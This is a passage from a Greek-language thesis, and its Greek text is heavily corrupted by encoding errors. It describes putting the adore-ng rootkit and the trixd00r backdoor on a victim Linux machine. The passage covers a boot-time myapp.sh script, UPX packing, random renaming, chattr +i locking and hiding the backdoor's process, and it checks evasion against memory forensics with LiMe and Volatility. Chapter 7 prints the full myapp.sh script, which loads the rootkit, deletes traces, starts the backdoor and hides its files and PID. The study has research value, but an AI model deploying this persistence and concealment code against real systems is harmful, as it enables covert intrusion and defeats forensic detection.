με αυτά του προθγουμζνου κεφαλαίου. Μπορεί τα αντικείμενά μασ να παραμζνουν ίδια (με εξαίρεςθ 

τθν προςκικθ του Upx), δεν παραμζνουν όμωσ ίδιεσ οι ενζργειζσ τουσ. Ζχουν προςτεκεί διεργαςίεσ ςτα 

αντικείμενα αυτά. Αναφορά γίνεται ςτο λογιςμικό adore-ng κακϊσ και ςτο script μασ. Σο trixd00r δεν 

παρουςιάηει κάποια διαφορά, όπωσ φαίνεται και ςτο παρακάτω διάγραμμα (βιέπε Δηθόλα 50), αφοφ ο 

ρόλοσ του επικεντρϊνεται κακαρά και μόνο ςτθν επικοινωνία των δφο μθχανθμάτων. 
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Εικόνα 50: Διάγραμμα Δραςτηριοτήτων trixd00r. 
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Εικόνα 51: Διάγραμμα Δραςτηριοτήτων adore.ng 

Όπωσ γίνεται ευκόλωσ αντιλθπτό ςτισ διεργαςίεσ του rootkitμασ ζχει προςτεκεί αυτι τθσ ορατισ 

εξαφάνιςθσ (από χριςτθ και ςυςτιματα) των αρχείων μασ με ςκοπό τθ δθμιουργία ενόσ ακόμα 

αντιμζτρου ενάντια ςτθν πικανότθτα εφρεςθσ αυτοφ από το κφμα μασ. Ζτςι διαςφαλίηεται θ 

μεγαλφτερθ παραμονι ςτο ςφςτθμα του κφματοσ, κακόςον ελαχιςτοποιοφνται οι πικανότθτεσ να βρει 

το κφμα τα αρχεία μασ. 
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Εικόνα 52: Διάγραμμα Δραςτηριοτήτων myapp.sh 

Σζλοσ, ςτο αρχείο μασ ζχουμε δϊςει και τον επιπλζον ρόλο τθσ δθμιουργίασ δικλίδασ αςφαλείασ από 

τυχόν προςπάκεια διαγραφισ των αρχείων μασ, ςτθν περίπτωςθ που φυςικά γίνουν αντιλθπτά από το 

κφμα μασ. Όπωσ προείπαμε, θ εντολι που δϊςαμε για το «κλείδωμα» των αρχείων δεν είναι 

ιδιαιτζρωσ αποτελεςματικι μιασ και μπορεί να τθν αναιρζςει το κφμα μασ αποκτϊντασ δικαιϊματα 

υπερχριςτθ. 
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5.2 Τλοποίηση-Έλεγχος 

5.2.1 Τλοποίηση: Σελική εκτελέσιμη έκδοση 

΢το προθγοφμενο κεφάλαιο Τλοποίθςθσ με 1
θ
 εκτελζςιμθ δοκιμι παρουςιάςαμε τον τρόπο επίκεςθσ 

του κφτθ ςτο κφμα μζςω των λογιςμικϊν μασ, κακϊσ και τισ παραμζτρουσ αςφαλείασ που λάβαμε 
ενάντια ςτουσ πικανοφσ τρόπουσ εφρεςι μασ από το ςφςτθμα του κφματοσ. Θα παρουςιάςουμε ξανά 
εν ςυντομία τθ διαδικαςία που ακολουκιςαμε για τθν επίτευξθ τθσ επίκεςθσ αυτισ και ςτθ ςυνζχεια 
κα υλοποιιςουμε τα επιπρόςκετα αντίμετρα που λάβαμε για τθν αποτελεςματικότερθ αςφάλειά μασ. 
Ζχοντασ αρχικά μεταφζρει τα αρχεία μασ μζςω τθσ εντολισ scp, ςτθ ςυνζχεια 
πραγματοποιοφμε ssh επικοινωνία μεταξφ των δφο μθχανθμάτων  προκειμζνου να τοποκετιςουμε ςε 
κάποιο ςυγκεκριμζνο κομμάτι το adore-ng και τo trixd00r, πράγμα προαιρετικό, και να τοποκετιςουμε 
το mysapp.sh ςτο μονοπάτι /etc/init.d/ με soft link /etc/rc2.d/S99my, όπωσ φαίνεται και ςτθν εικόνα 
παρακάτω.

 
Εικόνα 53: Εγκατάςταςη myapp.sh 

Με τον τρόπο αυτό περιμζνουμε τθν επανεκκίνθςθ του υπολογιςτι για τθν επιτυχθμζνθ είςοδό 

μασ ςτο ςφςτθμα του κφματοσ. Μαηί όμωσ με τθν είςοδο μασ ςτο ςφςτθμα του κφματοσ ταυτόχρονα 

γίνεται μετονομαςία των αρχείων μασ για περαιτζρω αςφάλεια και απαλοιφι του processID τθσ 

διεργαςίασ του trixd00r. Με τισ αλλαγζσ που προςκζςαμε ςτο κζμα τθσ αςφάλειασ κα πρζπει να γίνει 

και εγκατάςταςθ του λογιςμικοφ Upx[23] ςτον υπολογιςτι του κφματοσ για τθ ςυμπίεςθ των αρχείων 

με ςκοπό τθ δυςκολότερθ εφρεςι τουσ. Φυςικά όλο αυτό κα γίνει μζςω του trixd00r. Θα φορτϊςουμε 

το λογιςμικό ςτον υπολογιςτι του κφματοσ και ςτθ ςυνζχεια κα κάνουμε packing τα κακόβουλα 

executables(βιέπε Δηθόλεο 54,55,56).Θα μποροφςαμε να εντάξουμε τθ ςυγκεκριμζνθ διαδικαςία ςτθν 

εφαρμογι μασ myapp.shκαι να πραγματοποιείται θ ςυμπίεςθ των αρχείων κατά τθν εκκίνθςθ του 

υπολογιςτι. Επειδι όμωσ θ διαδικαςία αυτι (θ ςυμπίεςθ των αρχείων μασ) γίνεται μία φορά, για το 

λόγο αυτό κα πραγματοποιιςουμε τθν ενζργεια αυτι μζςω τθσ κρυφισ επικοινωνίασ που ζχουμε με το 

κφμα. 
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Εικόνα 54: Συμπίεςη του αρχείου ava του λογιςμικοφ adore-ng. 

 

Εικόνα 55: Συμπίεςη του αρχείου 6VNq3chY-0r (trixd00r) του λογιςμικοφ trixd00r-0.0.1. 

 

Εικόνα 56: Συμπίεςη του αρχείου 6VNq3chY-0rd (trixd00rd)  του λογιςμικοφ trixd00r-0.0.1. 

Ζωσ τϊρα θ διαςφάλιςθ των αρχείων μασ βαςιηόταν κακαρά ςτθν μετονομαςία αυτϊν μζςω τθσ 

βοικειασ του myapp.sh. Για τον λόγο αυτό υλοποιιςαμε 3 αντίμετρα για τθν αποτελεςματικότερθ 

αςφάλιςθ αυτϊν. Αρχικά, Θα προςκζςουμε ςτο αρχείο myapp.sh τθν  ενζργεια τθσ διαγραφισ των 

περιττϊν αρχείων (των λογιςμικϊν μασ) από τον υπολογιςτι του κφματοσ μασ (βιέπε Δηθόλα 57). 

Βζβαια, μπορεί ο κφτθσ να πραγματοποιιςει αυτι τθ διαδικαςία μζςω του trixd00r, φςτερα από τθν 

backd00r επικοινωνία των δφο μθχανθμάτων. 
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Εικόνα 57: Διαγραφή περιττϊν αρχείων για adore-ng (ch02anGD-master) και trixd00r (ch02anGD-

masters) 

΢τθ ςυνζχεια προςκζςαμε τθν εντολι chattr +i και θ οποία κα παρζχει προςταςία των αρχείων 

από τυχόν προςπάκεια διαγραφισ τουσ. Σο αρνθτικό ςθμείο ςτο κομμάτι αυτό, όπωσ αναφζραμε ςε 

προθγοφμενθ παράγραφο, είναι πωσ μπορεί να τθν απενεργοποιιςει το κφμα παίρνοντασ δικαιϊματα 

υπερχριςτθ. Παρακάτω βλζπουμε τθν υλοποίθςθ τθσ εντολισ αυτισ (βιέπε Δηθόλα 58). 

 

Εικόνα 58: Προςθήκη εντολήσ chattr +i 

Όπωσ λοιπόν βλζπουμε, το κφμα δεν μπορεί να πραγματοποιιςει διαγραφι των αρχείων μασ ακόμα 

και με δικαιϊματα υπερχιςτθ. Για να καταφζρει να επιτφχει τθν διαγραφι των αρχείων αυτϊν κα 

πρζπει να ζχει δικαιϊματα υπερχριςτθ αλλά και ταυτοχρόνωσ να απενεργοποιιςει τθν εντολι chattr +i 

αλλάηοντασ το ςφμβολο από  + ςε - .  

Σζλοσ, ςτο αρχείο myapp.sh  προςκζςαμε τθ διαδικαςία απόκρυψθσ των αρχείων μασ μζςω του 

rootkit μασ. Δεδομζνου, όμωσ, πωσ ζχουμε προςδϊςει ςτα αρχεία τθν ιδιότθτα μθ μεταποίθςθσ αυτϊν 

(μζςω τθσ εντολισ chattr +i), κα πρζπει κατά τθν εκκίνθςθ του υπολογιςτι να τα αποδεςμεφουμε από 

τθν ιδιότθτα και αφοφ ζχουμε πραγματοποιιςει τισ απαραίτθτεσ ενζργειεσ να τθν ενεργοποιιςουμε 

πάλι. Κάνοντασ λοιπόν τα βιματα αυτά  ζχουμε τα ακόλουκα αποτελζςματα (βιέπε Δηθόλα 59). 
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Εικόνα 59: Απόκρυψη αρχείων 

Σζλοσ, να ςθμειωκεί πωσ με τθν εντολι chattr +i τα αρχεία δεν μποροφν να κρυφτοφν κακϊσ και να 

μετονομαςτοφν. ΢υνεπϊσ, αν δεν γίνει θ προςκικθ ςτον κϊδικα του myapp.sh για τθν αναίρεςθ αυτισ 

τθσ εντολισ με ςκοπό τθν μεταποίθςθ των αρχείων, κα πρζπει ο επιτικζμενοσ να  κάνει όλθ τθ 

διαδικαςία του αρχείου μασ (όπωσ μετονομαςία αρχείων, διαγραφι αρχείων, κρφψιμο processID), 

χειροκίνθτα κάκε φορά κατά τθν εκκίνθςθ του υπολογιςτι.  Οπότε θ καλφτερθ επιλογι είναι θ 

διεκπεραίωςθ των βθμάτων αυτϊν μζςω του myapp.sh.  

Σζλοσ,για να επιβεβαιϊςουμε ότι δεν φαίνεται θ επίκεςι μασ οφτε μζςω τθσ ςυλλογισ και 

ανάλυςθσ τθσ μνιμθσ κα χρθςιμοποιιςουμε τα εργαλεία που ζχουν ωσ ςκοπό τισ ενζργειεσ αυτζσ. ΢τθν 

αρχι κα εγκαταςτιςουμε το λογιςμικό LiMeμε ςκοπό τθν δθμιουργία αντιγράφου τθσ μνιμθσ. 

Πθγαίνοντασ λοπόν, μζςω του Terminal, ςτθν τοποκεςία λιψθσ του λογιςμικοφ, το αποςυμπιζηουμε 

και ςτθ ςυνζχεια τρζχουμε τθν εντολι make. Να ςθμειωκεί πωσ το αρχείο Makefileβρίςκεται εντόσ του 

φακζλου “src”(βλζπε Εικόνα 60). 

 

Εικόνα 60: Εγκατάςταςη λογιςμικοφ LiMe. 

Ζχοντασ πραγματοποιιςει το παραπάνω βιμα επιτυχϊσ, κα πραγματοποιιςουμε ςε επόμενθ 

φάςθ τθν ςυλλογι τθσ μνιμθσ μζςω τθσ εντολισ “sudoinsmodlime.ko 

‘path=/home/lab/Ubuntu.limeformat=lime’ “, όπωσ φαίνεται και ςτθν εικόνα που ακολουκεί. 
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Εικόνα 61: Συλλογή μνήμησ. 

Πριν όμωσ προχωριςουμε ςτθν ανάλυςθ τθσ μνιμθσ κα χρειαςτεί να δθμιουργιςουμε profileτου 

ςυγκεκριμζνου λειτουργικοφ. Αυτό κα το κατορκϊςουμε με τισ ακόλουκεσ εντολζσ, όπωσ 

απεικονίηονται παρακάτω. 

 

Εικόνα 62: Εγκατάςταςη build-essential. 

 

Εικόνα  63: Εγκατάςταςη dwarfdump. 

Επόμενο βιμα είναι θ δθμιουργία του module.dwarfμζςω τθσ εντολισ make, πθγαίνοντασ ςτθν 
διεφκυνςθ “/volatility/tools/linux, που βρίςκεται εντόσ του φακζλου volatility-master. Σζλοσ, δινοντασ 
τθν ακόλουκει εντολι: 
sudozipvolatility/volatility/plugins/overlays/linux/Ubuntu1204.zip 
volatility/tools/linux/module.dwarf /boot/System.map-3.2.0-23-generic, 

ολοκλθρϊςαμε τθν διαδικαςία δθμιουργίασ linuxprofile(βλζπε Εικόνα 64). 
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Εικόνα 64: profileLinux. 

Ζχοντασ πλζον ολοκλθρϊςει επιτυχϊσ τα παραπάνω ςτάδια, κα αναλφςουμε πλζον τθν μνιμθ για να 

επιβεβαιϊςουμε, τθν μθ εμφάνιςθ των διεργαςιϊν μασ ςτο ςφτθμα του κφματοσ. Ζνασ τρόποσ να 

επιτευχκεί αυτό είναι μζςω τθσ εντολισ python “vol.py –f /home/lab/memory.lime –

profile=LinuxUbuntu1204x64 linux_pslist”, όπωσ κα δουμε και παρακάτω. 

 

Εικόνα 65: Αποτελζςματα μνήμησ. 

Από τθν παραπάνω εικόνα φαίνεται πωσ οφτε και μζςω τθσ εμφάνιςθσ των διεργαςιϊν που προζκυψε 

από τθν ανάλυςθ μνιμθσ, γίναμε αντιλθπτοί από το ςφςτθμα. ΢υνεπϊσ, θ μθχανιςμοί άμυνασ που 

δθμιουργιςαμε εναντίον των παραμζτρων αςφαλείασ του ςυςτιματοσ του κφματοσ, φαίνονται να 

λειτουργοφν, και ο χριςτθσ ςυνεπϊσ δεν  γνωρίηει για τθν ειςβολι μασ ςτον υπολογιςτι του. 
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ΚΕΥΑΛΑΙΟ 6
Ο

 : ΢ΤΜΠΕΡΑ΢ΜΑΣΑ ΚΑΙ ΜΕΛΛΟΝΣΙΚΗ 

ΕΞΕΛΙΞΗ 

Ζχοντασ λοιπόν εκπονιςει τθν ςυγκεκριμζνθ μελζτθ μποροφμε να κατανοιςουμε τον τρόπο ςκζψθσ 

που ακολουκιςαμε προκειμζνου να ζχουμε ςαν αποτζλεςμα τθ βζλτιςτθ δυνατι επίκεςθ ςτο ςφςτθμα 

του κφματοσ. Βζβαια, αν κάποιοσ αναλογιςκεί πιο είναι το καίριασ ςθμαςίασ ςθμείο για τθν επίτευξθ 

αυτοφ του αποτελζςματοσ, θ απάντθςθ ςίγουρα δεν είναι ο κωδικόσ πρόςβαςθσ του ςυςτιματοσ του 

κφματοσ, αυτό είναι θ αφετθρία. Σο levelςτο οποίο τρζχει το ςφςτθμα. Εκμεταλλευτικαμε τα προνόμια 

που παρζχονται ςτα αρχεία, ςτο ςυγκεκριμζνο επίπεδο, κατά τθν εκκίνθςθ του υπολογιςτι με ςτόχο να 

αλλοιϊςουμε τισ πλθροφορίεσ των αρχείων και όλα αυτά μζςω τθσ βοικειασ του ίδιου του 

ςυςτιματοσ. 

Ζνα ακόμα ςυμπζραςμα που αξίηει κάποιοσ να ςυγκρατιςει, είναι αυτό που αναφζραμε και ςτθν 

αρχι αυτισ τθσ διπλωματικισ εργαςίασ, ο τρόποσ ςκζψθσ. Με αυτόν επικυμοφμε να ςκεφκοφμε όπωσ 

κα ςκεφτόταν το κφμα ςτθν υποψία πικανισ επίκεςθσ. Θα πραγματοποιοφςε ςάρωςθ δικτφου, 

διεργαςιϊν, κακϊσ και ςάρωςθ δίςκου για τθν εφρεςθ υπόπτων πλθροφοριϊν. Βαςιηόμενοι ςε αυτζσ 

τισ ςκζψεισ και εμείσ ακολουκιςαμε τθν πορεία τθν οποία πιραμε για να διαςφαλίςουμε τθν 

ακεραιότθτα τθσ επίκεςισ μασ. Και αυτι τθ μεκοδολογία πρζπει να ακολουκεί κακζνασ κατά τθν 

προετοιμαςία μίασ επίκεςθσ, να ςκεφτεί δθλαδι, όπωσ αυτόσ που βρίςκεται απζναντί του. 

Η ςυγκεκριμζνθ όμωσ επίκεςθ που αναλφςαμε και υλοποιιςαμε εξακολουκεί να παρουςιάηει 

κάποιεσ ελλείψεισ ςτο κζμα τθσ αςφάλειασ και οι οποίεσ μποροφν να καλυφκοφν μελλοντικά 

λαμβάνοντασ τα κατάλλθλα αντίμετρα. Καταρχάσ, όπωσ είδαμε κατά τθ ςάρωςθ του ςυςτιματοσ για 

τυχόν ςυνδζςεισ δεν εμφανίςτθκε κάτι, όπωσ ιταν και αναμενόμενο. Βζβαια αν το κφμα ζκανε ζναν 

ζλεγχο ςτισ πόρτεσ κα του εμφανιςτεί ποιεσ πόρτεσ είναι ανοιχτζσ και ποιεσ ακοφνε ι ζχουν 

πραγματοποιιςει ςφνδεςθ. Φυςικά εμείσ δεν ανικουμε ςε καμία από τισ δφο τελευταίεσ κατθγορίεσ, 

δεν αποκλειόμαςτε όμωσ και από τθν πρϊτθ. Η πόρτα ςτθν οποία επικοινωνοφμε φαίνεται ανοιχτι. Αν 

λοιπόν ο χριςτθσ παρατθριςει τθν φπαρξθ τθσ πόρτασ αυτισ ανοιχτισ για μεγάλο χρονικό διάςτθμα 

μπορεί να κεωρθκεί φποπτο και ςυνεπϊσ να προβεί ςτθν εκκίνθςθ τθσ διαδικαςίασ forensics. 

Δυςτυχϊσ  όμωσ το μεγαλφτερο ελάττωμα ςε αυτιν τθν επίκεςθ δεν ζγκειται εκεί. Σα πακζτα τα οποία 

ςτζλνονται μεταξφ των δφο μθχανθμάτων (κφτθ και κφματοσ) δεν είναι κρυπτογραφθμζνα. ΢υνεπϊσ αν 

το κφμα μάκει με κάποιο τρόπο για τθν udp επικοινωνία μπορεί να αρχίηει να επεξεργάηεται ζνα-ζνα 

τα πακζτα μζςω ενόσ λογιςμικοφ sniffer (παραδείγματοσ χάρθ το wireshark), μζχρι να βρει τα δικά μασ, 

και κα είναι ςε κζςθ πλζον να διαβάηει με κάκε λεπτομζρεια το περιεχόμενο των πακζτων αυτϊν. Αυτό 

λοιπόν που μπορεί να πραγματοποιθκεί για μελλοντικι λιψθ αντιμζτρου για τθν αδυναμία αυτι είναι 

θ κρυπτογράφθςθ των udp πακζτων που αποςτζλλονται.  
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ΚΕΥΑΛΑΙΟ 7
ο

:  ΚΩΔΙΚΑ΢ ΤΛΟΠΟΙΗ΢Η΢ 

7.1 Κώδικας Myapp.sh 

#!/bin/bash 

#give to a variable random string, this will be the name for our 

programs 

rndstr=$(cat /dev/urandom | tr -dc "a-zA-Z0-9" | fold -w 8 | head -n 

1) 

 

#store the string if the user wants to use the programs in the future 

sh -c"echo ‘$rndstr’>>/home/victim/boo2” 

 

#gives to a variable the current name of programs 

if[[$(wc -l < /home/victim/boo2 )-ge 2]];then 

prevar=$(tail -2 /home/victim/boo2 | head -1) 

else 

prevar="myapp" 

fi 
 

#disables chattr +i in order to make changes. The suffix of trixd00r-

0.0.1 is masters and for adore-ng-master is masters. More specific the 

origin name for trixdoor is trixd0-masters and for adore is adore-

master. 

chattr-i /home/victim/Downloads/$prevar-master 

chattr-i /home/victim/Downloads/$prevar-masters 

 

#renames adore-ng-master 

mv/home/victim/Downloads/$prevar-master  

/home/victim/Downloads/$rndstr-master 

 

#delete unwanted files, rename useable files, install adore 

cd/home/victim/Downloads/$rndstr-master 

rm*.c 

rm*.h 

mv*ng.ko $rndstr-ng.ko 

rm Makefile 

rm*order 

rm*md 

rm*symvers 

rm*.o 

insmod$rndstr-ng.ko 

 

#makes trixd00r visible so it can be made changes to it 

/home/victim/Downloads/$rndstr-master/ava u ../$prevar-masters 

 

#renames trixd00r, we gave trixd00r-.0.0.1-masters 

mv/home/victim/Downloads/$prevar-masters  

/home/victim/Downloads/$rndstr-masters 

 

#removesunwanted files except two, and later rename them 

cd../$rndstr-masters 

shopt -s extglob 

rm -r !($prevar-0r|$prevar-0rd) 

mv*0r $rndstr-0r 

mv*0rd $rndstr-0rd 
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#makes trixd00r again invisible 

/home/victim/Downloads/$rndstr-master/ava h ../$rndstr-masters 

 

#execute trixd00r as a server and make a file as anacknowledge to know  

#it worked 

/home/victim/Downloads/$rndstr-masters/$rndstr-0rd -i eth0 -t 1 -s 2-v 

& 

touch/home/victim/lala2 & 

 

#give to a variable the process ID of trixd00r and hide it with adore 

var=`pgrep $rndstr-0rd` 

echo"$var">>/home/victim/lala2 

/home/victim/Downloads/$rndstr-master/ava i $var 

 

#give chattr +i 

chattr+i /home/victim/Downloads/$rndstr-master 

chattr+i /home/victim/Downloads/$rndstr-masters 

 

#hide files, log and myapp.sh 

/home/victim/Downloads/$rndstr-master/ava h /home/victim/boo2 

/home/victim/Downloads/$rndstr-master/ava h /etc/init.d/myapp.sh 
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